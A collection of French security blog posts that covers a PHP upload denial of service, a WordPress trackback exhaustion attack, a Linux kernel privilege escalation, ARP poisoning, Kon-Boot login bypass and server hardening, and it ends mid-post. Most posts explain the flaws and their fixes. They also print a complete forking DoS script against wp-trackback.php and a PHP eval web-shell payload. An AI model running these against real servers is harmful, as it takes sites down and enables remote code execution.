Concept

Lorsque l’on envoie une requête POST à un script PHP avec le content-type « multipart/form-data » et que l’on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l’upload de fichiers. Après l’exécution du script, les fichiers temporaires sont normalement effacés.

Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l’exécution du script et donc la suppression qui devrait en découler.

Le denial of service apparait lorsque l’on crée bons nombres de requêtes (ca rappelle vaguement la faille wordpress, et la plupart des DoS bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).

Lorsque vous envoyez cette requête au serveur web, il s’écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.

N’importe quel site tournant sous PHP et où l’upload de fichier est activé (configuration par défaut) est vulnérable. Il n’est pas nécessaire d’avoir un formulaire d’upload pour exécuter l’exploit. Cette faille est donc critique. J’ai d’ailleurs lu dans mes RSS d’hier qu’OVH organisait une patch party cette nuit, je suppose que c’est pour protéger ses mutualisés de cette faille.

PHP intègre deux paramètres de configuration qui ont attrait à l’upload:

upload_max_filesize
post_max_size

Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.

Notions d’enrayement

Trois workarounds sont proposés concernant cette faille:

• Désactiver l’upload de fichier
  Si vous n’avez pas besoin d’uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.
  file_uploads = Off dans le php.ini

• Installer PHP 5.3.1
  Si vous ne pouvez pas désactiver l’upload de fichiers, alors il convient d’upgrader PHP à la version 5.3.1.

  Cette nouvelle version intègre un patch pour la faille:
  En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d’enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.

• Installer Suhosin PHP Extension /!\
  L’extension Suhosin possède une option nommée « suhosin.upload.max_uploads ». Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.
  /!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.

Tests dans des environnements de production

• PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3


Timeline:
14:50 – started the attack
14:51 : web server is no longer responsive.
load average: 102.02, 30.68, 10.68
14:52 : web server is not responsive.
load average: 129.95, 49.29, 18.05
14:52 – attack is aborted
14:53 – web server is not responsive.
load average: 143.58, 67.90, 26.41
14:54 – web server is not responsive.
load average: 149.60, 89.58, 37.93
16:05 – web server is not responsive.
load average: 151.64, 120.91, 60.94


Vérification du nombre de fichiers temporaires crée par l’auteur:

$ls -la /tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0

Création d’un fichier pour compter le nombre de fichiers crées:

$php count_files_from_dir.php /tmp/php*
2.419.649

Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.

Si l’on redémarre le serveur, ces fichiers ne sont pas effacés.

• PHP on FreeBSD 7.2 / PHP Version 5.2.9


Timeline:
14:00 – attack is started.
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))
load average: 87:22, 22.61, 9.9
14:02 – attack is aborted.
14:06 – web server is no longer responsive.
load averages: 45.42, 42.35, 22.59
14:11 – web server is not responsive.
load averages: 26.77, 35.78, 23.49
The system is slowed down to a crawl.
Basically you cannot even write a command in a remote PUTTY session.
14:17 – web server is not responsive.
The console is continuously displaying kernel error messages like:
swap_pager_getswapspace(2): failed
swap_pager_getswapspace(16): failed
swap_pager_getswapspace(3): failed
…
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes
…
14:23 – web server is responsive.
load averages: 0.79, 29.10, 37.13

Même chose lorsque l’auteur tente de compter les fichiers temporaires:

$ls -la /var/tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0
$ls -la /var/tmp/php
Display all 117490 possibilities? (y or n)

Donc nous avons 117490 fichiers temporaires sur le serveur.

• PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0


Timeline:
12:30 – started the attack
12:30 + few seconds: CPU usage => 100%


En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.

Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-’z’, ‘A’-’Z’, ‘0′-’9′).
Exemple: php1A00.tmp

12:31 – attack is aborted
12:39 – CPU usage is still 100%, web server is not responsive.
13:08 – CPU usage is still 100%, web server is responsive.
14:08 – CPU usage is 97%
14:34 – CPU usage is 97%

Deux heures plus tard l’utilisation du CPU n’est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l’utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.

• PHP on OpenBSD 4.6 / PHP Version 5.2.10


Timeline:
12:00 – started the attack
12:00 + few seconds: CPU usage => 100%
12:01 – attack is aborted
12:01 – web server is no longer responsive.
load averages: 120.42, 50.35, 20.59
12:04 – web server is no longer responsive.
load averages: 147.17, 80.74, 36.46
The system is slowed down to a crawl.
12:06 – web server is responsive.
load averages: 122.59, 96.03, 48.31


A ce point le serveur web est ralenti mais continue à servir les pages

12:07 – web server is responsive.
load averages: 63.67, 85.01, 47.26
12:10 – web server is responsive.
load averages: 6.56, 52.75, 40.03
12:12 – web server is responsive.
load averages: 0.55, 16.36, 26.50

Le système est revenu à la normale.

OpenBSD gère très bien ce type d’attaque, les effets n’ont durés que quelques minutes.

Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.

Exploitation

Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n’effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l’un de ces fichiers et de l’inclure.

Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: <?php eval($_REQUEST[x]); ?>.

Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l’un de ces fichiers et de l’inclure.

Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L’auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d’un fichier et à exécuter du PHP.

Le script python permettant de générer l’attaque n’a pas été publié. Enfin, pas par l’auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d’upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.

Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.

Références

L’équipe d’Acunetix essentiellement connue pour son scanner de failles web; devenu d’ailleurs entre temps un scanner de port, un soft d’exploitation d’injection SQL, un forgeur de packet HTTP et j’en passe; a averti l’équipe PHP le 27 octobre. L’auteur de cette découverte est bogdan de l’équipe Acunetix. On notera d’ailleurs avec intérêt qu’Acunetix n’a pas sorti l’adviso trois jours après avoir contacté le vendor; suivez mon regard :-)

Correction rapide

On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:
apt-get install php5-suhosin
(http://packages.debian.org/lenny/php5-suhosin)

La configuration se passe dans /etc/php5/apache2/conf.d

suhosin.upload.max_uploads
Type: Integer
Default: 25
Defines the maximum number of files that may be uploaded with one request.

4. C’est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.

01h25, c’est l’heure à laquelle j’écris ce billet: vous m’excuserez donc pour les fautes d’orthographes du billet cet article c’est un peu une « Breaking News ».

Aujourd’hui a donc été release un « WordPress Exhaustion Exploit », c’est une appellation relativement savante pour dire que ca peut faire sauter les services d’un serveur en 36 lignes de code. Je viens de le tester sur l’un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n’est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.

L’attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c’est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.

La faille en elle-même c’est quoi ? Elle se situe au niveau de la gestion de l’encodage du titre.

if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}


En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:

mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)

Dans charset_d_origine on peut spécifier plusieurs charsets. Si l’on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu’elle a trouvé le meilleur, elle va transformer chaine_que_l’on_veut_convertir en nouveau_charset.

Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu’il y a 23 333 charsets d’origine possible (« UTF-8, » fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l’on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l’on envoie la requête une fois, le serveur la traite, maintenant si on répète l’opération sur un délai très court le serveur apprécie moins. C’est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.

<?
if(count($argv) < 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?>

Pour l’enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:

$charset = $_POST['charset'];

et la remplacer par:

$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Ce patch permet d’enlever les virgules, du coup le script n’a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L’autre façon de passer un charset_d_origine à la fonction c’est un tableau, là on va pas faire dans la dentelle, si c’est un tableau, on exit.

Sinon vous pouvez toujours deny from all wp-trackback.php ;-)

L’exploit a été posté sur Full-Disclosure aujourd’hui à 14h30. Il semble avoir été découvert par rooibo et amélioré par Zerial. Ce n’est vraiment pas impossible que d’ici quelques jours de joyeux lurons s’amusent à attaquer les WordPress des bloggeurs « influents » les plus connus. Rooibo explique sur son blog qu’il a avertit l’équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.

Le correctif proposé est celui de roobio, je pense qu’il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu’un str_replace sur un array conduit à du path disclosure.

Rapide update: WordPress vient de release la version 2.8.5.

Voici le diff sur le fichier qui nous intéresse:
john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php
--- wordpress-2.8.4/wp-trackback.php 2008-05-25 17:50:15.000000000 +0200
+++ wordpress-2.8.5/wp-trackback.php 2009-10-19 17:10:59.000000000 +0200
@@ -50,7 +50,7 @@
$blog_name = stripslashes($_POST['blog_name']);

if ($charset)
- $charset = strtoupper( trim($charset) );
+ $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
else
$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';


Sinon j’ai fait le diff complet ici, car je ne trouve pas l’officiel chez WordPress: diff WordPress-2.8.4 WordPress 2.8.5

Cette faille permet depuis un simple compte utilisateur de passer root. Et la mauvaise nouvelle c’est que cela affecte la plupart des kernels supportant IPv6 (bon ca c’est la version édulcorée, en vrai c’est le protocole qui gère Bluetooth, PPPoX, IRDA et autres joyeusetés); c’est à dire:

- Linux 2.4, de 2.4.4 jusqu’à 2.4.37.4 compris.
- Linux 2.6, de 2.6.0 jusqu’à 2.6.30.4 compris.

C’est donc un monstre de dangerosité. Inutile de se lancer dans des élucubrations sur la faille en elle même, elle est bien évidemment largement documentée par ses auteurs: http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html ou surtout le blog de julien (qui doit voir son PR exploser).

- return sock->ops->sendpage(sock, page, offset, size, flags);
+ return kernel_sendpage(sock, page, offset, size, flags);

Cette ligne suffit à corriger la faille dans le kernel, patchée d’ailleurs par Sieur Torvalds himself. Le patch est ici.

Cette faille provoque bien évidemment une patch party chez les hébergeurs sérieux ayant avertis leurs clients. Par exemple OVH a avertis par mailing mais également sur le forum. Ils mettent à disposition une version recompilée du noyau sur ftp://ftp.ovh.net/made-in-ovh/bzImage/.

Je vous encourage vivement à mettre à jour vos systèmes. L’exploit est en effet disponible sur milw0rm, [2]. Enfin dernière chose amusante, l’auteur du premier exploit est Brad Spengler, oui oui l’auteur de Grsecurity (Un patch qui permet d’ajouter des fonctions de sécurité au kernel). D’ailleurs les kernels tournant avec GRS ne sont pas faillibles :-) Pied de nez aux personnes n’étant pas disposées à réduire un peu les performances pour améliorer la sécurité de leurs serveurs.

Juste pour information sur mon introduction, Julien Tinnes n’est pas à son premier coup d’essai, [2], [3 !]. Il travaille désormais chez Google comme Ingénieur Securité après avoir fait un passage chez Orange Labs. Décidément pas de chaussure au pieds des ingés sécurité en France ?

Sur ce, bonne lecture et bon tests.

Presque 3 mois sans poster, j’ai fait une petite rechute. Tiens en parlant de chute, j’ai une bonne excuse, je me suis cassé l’olécrane lors d’une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :)

Cette fracture m’a encore appris plein de choses en medecine, je reste vraiment persuadé qu’il faut profiter de chacune des épreuves que la vie nous envoie pour se documenter au maximum dessus. Ainsi je suis devenu expert en brochage / cerclage / haubanage, pseudarthrose et plein d’autres choses amusantes.

J’ai quand même gardé un oeil attentif sur l’ensemble de (belles) choses étant sorties au cours de ces trois mois. Sans être exhaustif, j’ai trouvé sympa:

• Le Dos Apache Slowlaris.pl qui est vaguement lié à TCP Handshake flood.
• L’exploit phpmyadmin, même s’il faut que l’admin ait choisi la wizard installation. Et a priori un scanner en a découlé.
• L’énnormmmeeee foin que crée la (fake ?) hole openssh. Chacun y est allé de son petit commentaire « Pas possible ? », « Bruteforce ? », « J’avais dit qu’il faut SSH par key ! ». Ca a upgradé en cascade chez la plupart des hosteurs, y compris OVH.
• La *faille* <= 8.1 WordPress. Bon il s’agit juste d’un XSS mais ca peut conduire à des attaques de phishing efficace.
• La sortie de nmap 5.0 qui rajoute tout plein de choses interessantes: Ncat, Ndiff, NSE. A découvrir dans la tarball.
• La RC 7 de sqlmap et l’intégration de sqlmap dans la distribution debian. C’est vraiment une bonne chose.
• Les deux failles navigateurs: MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit et Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit. Là avec du code malveillant sur un site à trafic, il y avait a vraiment de quoi faire mal.
• La sortie de l0phtcrack 6.
• Des failles sur twitter, et surtout, le piratage de twitter qui a mis le serveur de Korben sur les rotules.
• Et j’ai gardé le meilleur pour la fin, le fake exploit OpenOwn.c (basé sur le « buzz » de la faille OpenSSH, qui fait un joli rm -rf /*.
• Tout plein d’autres choses que je n’ai pas le courage de mettre ici :)

Passez un bon week end :-)

Partant du postulat qu’aucun réseau n’est fiable, je suis souvent pris de crise de paranoïa. En effet, comment savoir si le Wifi sur lequel je suis connecté à l’hôtel ou dans un café n’est pas victime de sniff d’un petit bidouilleur du coin. Au final, ce schéma n’est pas si paranoïaque que cela, le bidouilleur en question peut tout a fait avoir cracké la clé wep de la connexion et sniffer tout ce qui passe sur le réseau à mon insu.

Je ferai prochainement un billet sur les attaques de type Man in The Middle, en attendant voici pour la théorie sur l’ARP poisoning.

Grosso modo le sniffing repose sur une faiblesse du protocole ARP. Sans entrer dans les détails, ce protocole sert à gérer l’association des adresses MAC / IP. Si vous tapez arp -a dans votre shell, vous verrez la plage ARP que votre ordinateur a en cache. Donc dans l’idée, si ce cache est vide, j’envoie une requête broadcasté pour émettre ma trame = > tous les ordinateurs du réseau sont au courant de cette requête et l’ordinateur concerné me renvoie son adresse MAC; après association, ma trame est envoyée. Si j’ai déjà l’association en cache, ma trame est envoyée immédiatement.

L’astuce va consister à usurper une adresse IP au sein du réseau en utilisant des packets forgés. Comment cela se passe ? Si je veux sniffer ce qu’Etienne et Alix se disent, je vais envoyer à Etienne un packet avec en adresse IP source, l’ip de la machine d’Alix et l’adresse MAC de ma carte réseau. On imagine aisément la suite, j’envoie un packet à Alix avec l’adresse IP d’Etienne en source et mon adresse MAC à nouveau. Lorsque les deux vont vouloir communiquer, c’est moi qui vais recevoir les trames. Une fois que les trames arrivent chez moi, j’ai plusieurs choix: Ecouter ce qu’ils se disent (conversations MSN, Surf, etc) avec du Man in the Middle, donc rerouter les packets ensuite; paralyser le réseau en réalisant un Ddos: MITM sans relayer les packets; décider de ne pas router les packets après réception: bloquage du réseau. Ainsi je peux écouter l’intégralité des informations échangées sur le réseau où je suis.

Pour éviter ce type d’attaque on peut par exemple mettre des entrées statiques dans les cache ARP, mais cette méthode a ses limites: il faut un faible nombre de machines sur le réseau, et c’est biensûr impossible sur un Wifi ouvert d’hôtel. Sinon, on peut surveiller le réseau, et couper les accès aux adresses IP usurpées (Victime 1, Victime 2, Attaquant).

Si l’on est victime de ce type d’attaque, on peut limiter le casse: le bon usage voudrait que l’on utilise SYSTÉMATIQUEMENT des connexions en SSL pour rappatrier ses mails, se loger sur ses comptes favoris (gmail, analytics, etc), et se limiter à l’essentiel dans ce surf. Bref tout cela reste problématique et assez peu déterministe. D’autant plus que de configurer un proxy SSL pour son IM n’est pas toujours possible, et un pirate peut aisément extraire les trames spécifiques qui l’interesse. Par exemple en cas de sniffing, si sous Wireshark j’utilise: msnms contains « text/plain » && ip.addr == 192.168.0.10, je pourrais lire l’intégralité des conversations msn de la victime.

Tout cela pour dire que j’ai trouvé un soft qui se lance au démarrage de votre machine et vous alerte en cas d’ARP Poisoning. Je ne peux plus m’en passer, ma paranoia diminue, bref tout va pour le mieux dans le meilleur des mondes.

Le soft en question s’appelle Xarp, téléchargeable ici. Donc comme précisé, il se lance au démarrage et analyse les associations ARP, et permet de déceller si vous êtes victime d’ARP Poisoning. S’il détecte une attaque, il pop une alerte avec l’adresse IP de l’attaquant et celles des victimes.

Sinon si vous voulez vous la jouer un peu plus old school, vous avez arpwatch.

La plupart des nouveaux utilisateurs de systèmes Gnu/Linux partent du postulat qu’utiliser un Linux est bien plus sûr qu’un Windows, et que de fait, il n’est pas forcément nécessaire d’avoir un firewall, ou encore de passer de temps à paramétrer son système. Ils ont évidement tort, considérer Linux comme plus secure que Windows est une erreur, et ne pas paramétrer son OS en est une autre. Lors des audits de sécurité, c’est souvent une machine end-user du parc qui fait défaut. Il existe pourtant un module qui fournit à Linux l’intégralité des fonctions de pare-feu: Netfilter. Il intercepte et manipule les paquets IP avant et après le routage. Pour configurer Netfilter en espace utilisateur, on utilise Iptables. Nous devons souvent proposer aux administrateurs et utilisateurs une configuration d’un firewall que nous estimons saine post-audit. Ce billet reprend la plupart des informations que nous mettons en avant dans le rapport.

Afin de faciliter la lecture de cette configuration, j’ai opté pour un export html, avec quelques textareas permettant à chacun de pouvoir copier coller les parties qui l’interesse. Une fonction amusante de port knocking est expliquée en fin de document.

Configuration d’un firewall avec Iptables/Netfilter

A noter que l’auteur de la configuration initiale est Raphael Prevost, consultant sécurité au sein de Wargan Solutions.

Alors là y’a pas à dire, j’ai rarement fait mieux comme titre racoleur ! J’aurai du préciser qu’il faut un accès physique à la machine (en tout cas à son lecteur CD) mais ça aurait fait un titre trop long. Vous avez parfois besoin d’accéder à une machine sans en connaitre le mot de passe: vous avez oublié votre mot de passe, vieille machine ressortie du grenier, maintenance, audit de sécurité, et pour certain d’entre vous, bidouilles que je ne veux pas connaitre :) Quand j’avais besoin de tripoter un Windows XP sans connaitre le password administrateur j’utilisais un Live CD de OphCrack qui permet de cracker les hashs LM et NTLM (donc ceux de windows) à l’aide de Rainbow Tables, ou simplement en méthode bruteforce. Grosso-modo, il load les hashs de la SAM au boot et donc en extrait les passwords selon la méthode que vous avez défini.

Tout ça c’est révolu grâce à un développeur fou qui vient de release un programme qui permet de se logger sur l’ensemble de ces OS sans en connaitre le mot de passe administrateur (ou root pour le coup):

• Windows Server 2008 Standart SP2
• Windows 7
• Windows Vista Business SP0
• Windows Vista Ultimate SP1 / SP0
• Windows Server 2003 Enterprise
• Windows XP SP1 / SP2 / SP3
• Gentoo 2.6.24
• Ubuntu 2.6.24
• Debian 2.6.18-6
• Fedora 2.6.25.9-76

Le mieux c’est que cette liste n’est pas exhaustive, cela correspond simplement aux OS qu’il a testé.

Kon-Boot change le contenu du kernel de votre distrib « on the fly » (pendant le boot). Le développeur explique qu’il l’a conçu à la base pour Ubuntu à cause de ses soucis de mémoires, et qu’au fil du temps il l’a étendu, jusqu’à ce que cela devienne un vrai projet de sécu. Le soft est codé en ASM x86. Les changements à la volée du noyau Linux ou Windows ne produit évidement aucun changement physique, tout est fait virtuellement.

Comment ça marche ?

Il vous suffit de récupérer l’archive suivante: télécharger kon boot, ou ici, et de graver l’ISO pour en réaliser un CD amorcable. Ensuite vous démarrez votre machine en bootant sur le CD. Sous Windows la seule chose que vous ayez à faire c’est de taper un mot de passe quelconque à la place de celui demandé, et vous arriverez sur le bureau comme un utilisateur correctement authentifié.

Concernant les autres distribs, vous bootez sur le CD également, puis vous laissez votre OS démarrer. Quand ce dernier vous demande votre login vous saisissez « kon-usr », si cela marche vous devez arriver loggé sur l’OS. Pour restaurer le système lorsque vous vous déloggez, il suffit juste d’utiliser « kon-fix ». Petit exemple pratique:

Ubuntu 8.04 torpeda tty1
torpeda login: kon-usr
# id
uid=0(root) gid=0(root)
# whoami
root


Sinon:

torpeda login: kon-usr
/bin/sh: Can't open kon-usr
FIX: type 'kon-fix' as login


Pour ceux qui ont du mal à graver l’iso à l’aide de softs traditionnels type Nero, vous pouvez (et devez) télécharger Iso Burner. Si votre antivirus râle, le site de l’auteur dit que c’est un fait connu, mais que ce soft n’est évidement en rien un virus.

Voila avec cette méthode vous pouvez retrouver votre mot de passe Windows XP, retrouver votre mot de passe root pour Ubuntu. Ce petit soft va vraiment faire beaucoup de bruit, simplicité, aucune modification et pour ma part, du jamais vu. Généralement c’est du bruteforce ou autre, mais pas du bypass ainsi sans aucune modification système.

Bien, donc imaginons que vous avez développé www.example.com. Vous avez aussi historiquement une dizaine de sites, example1.com, example2.com, example3.com et ainsi de suite. Vous souhaitez pouvoir gérer les accès aux répertoires /admin/ par le biais d’un login unifié par Mysql; Comprendre: déployer le même htaccess partout qui permet de checker dans une db si tel utilisateur a accès à tel site ou pas.  Au delà du fait que vous allez avoir besoin de mod_auth_mysql, il vous faut un serveur Mysql dans lequel l’ensemble des htaccess iront taper pour savoir si les utilisateurs peuvent se loger ou non. Autre exemple, example.com prend de l’ampleur, les requêtes SQL sont déjà optimisées mais elles mettent cependant le serveur sur les rotules tellement il y a de visiteurs sur le site, même chose, besoin d’un serveur Mysql à distance (je n’entend pas troller ici sur l’affinage des requêtes, l’optimisation hardware, etc ;) ).

Donc, comment permettons nous à Mysql d’écouter à distance ? C’est en réalité assez simple, mais comme ce n’est pas si évident que cela de retrouver sur google comment faire dans une seul document, je fais ce billet qui tente de condenser l’information.

La première chose à faire est d’aller modifier votre /etc/mysql/my.cnf afin de commenter la ligne suivante:

bind-address           = 127.0.0.1 devient donc
#bind-address           = 127.0.0.1

Vous devez ensuite, comme d’habitude, redémarrer mysql:

[john@coincoin:~]# /etc/init.d/mysql restart
Stopping MySQL database server: mysqld.
Starting MySQL database server: mysqld.

Vous venez d’enlever l’écoute locale du serveur Mysql. Désormais, vous pouvez créer vos utilisateurs. Et c’est ici qu’il faut être vigilant, si je reprend l’exemple d’avant (example2.com, example3.com, etc), potentiellement nous avons besoin qu’un utilisateur Mysql soit crée afin d’accéder aux informations. Mais ce n’est pas parce que 10 serveurs peuvent avoir besoin de contacter notre serveur Mysql que cet utilisateur doit avoir les droits %. Il convient de gérer précisement les autorisations de chaque utilisateur. Même si la solution de facilité souvent employée par les webmasters est de mettre en droit « % » (le % est une wildcard qui permet à l’utilisateur Mysql de se connecter depuis n’importe où), en cas de faille de type Injection Mysql, c’est la porte ouverte à n’importe qui pour collecter les informations (alors que de devoir faire relai sur le serveur qui possède la faille est beaucoup plus rébarbatif).

Donc pour résumer, ce qu’il ne faut pas faire:

CREATE USER 'example'@'%' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'%' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'%';

Là, vous créez un utilisateur qui peut se connecter de n’importe ou. Par contre si example.com est hébergé sur 80.80.80.80, voici ce qu’il convient mieux de faire:

CREATE USER 'example'@'88.80.80.80' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'88.80.80.80' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR
0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'88.80.80.80;

Dans le cas où vous hébergez un site sur le serveur Mysql directement, et que vous n’avez pas besoin de contacter à distance pour l’utilisateur Mysql, vous pouvez mettre directement localhost, autant être logique. Et si d’aventure, vous n’avez pas envie de granter les accès immédiatement:

CREATE USER 'example'@'localhost' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'localhost' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;

Malgré tout cela, Ca ne marche pas ?!
Il n’est pas impossible que IPTABLES rejette les connexions entrantes, vous devez donc autoriser les serveurs distants à vous contacter, là encore c’est comme le % ou l’IP directement, il y a deux écoles. Soit c’est Open-bar:

/sbin/iptables -A INPUT -i eth0 -p tcp --destination-port 3306 -j ACCEPT

Soit on met l’adresse IP du serveur qui peut venir taper sur le 3306:

/sbin/iptables -A INPUT -i eth0 -s 80.80.80.80 -p tcp --destination-port 3306 -j ACCEPT

N.B:  Rendre vos bases de données accessibles depuis l’extérieur n’est pas synonyme de faiblesse de sécurité si les choses sont bien faites. Pour résumer:

• On commente bind-adress dans /etc/mysql/my.cnf
• On crée les utilisateurs avec les droits NECESSAIRES, pas plus. Autrement dit, on autorise depuis l’adresse IP d’où ils contactent et jamais depuis partout (%). Si l’utilisateur est local, on ne l’authentifie que depuis localhost.
• On crée des règles iptables pour autoriser les serveurs qui ont le droit de rentrer, pas pour tout le monde (-s 80.80.80.80).

Bonnes bidouilles.

Bon j’avoue, j’ai un peu triché, derrière ce titre racoleur se trouve une erreur de configuration assez grossière, mais que l’on retrouve, sans exagérer dans 70% des cas. Le premier responsable de cette faille est, il me semble, le site http://www.commentcamarche.net/. Pourquoi ca ? Simplement parce qu’ils sortent premier sur la recherche « Création htaccess« .

Et comment nous proposent-ils de créer un htaccess ?
Je cite:

ErrorDocument 403 http://www.commentcamarche.net/accesrefuse.php3
AuthUserFile /repertoire/de/votre/fichier/.FichierDeMotDePasse
AuthGroupFile /dev/null
AuthName "Accès sécurisé au site CCM"
AuthType Basic
<LIMIT GET POST>
Require valid-user
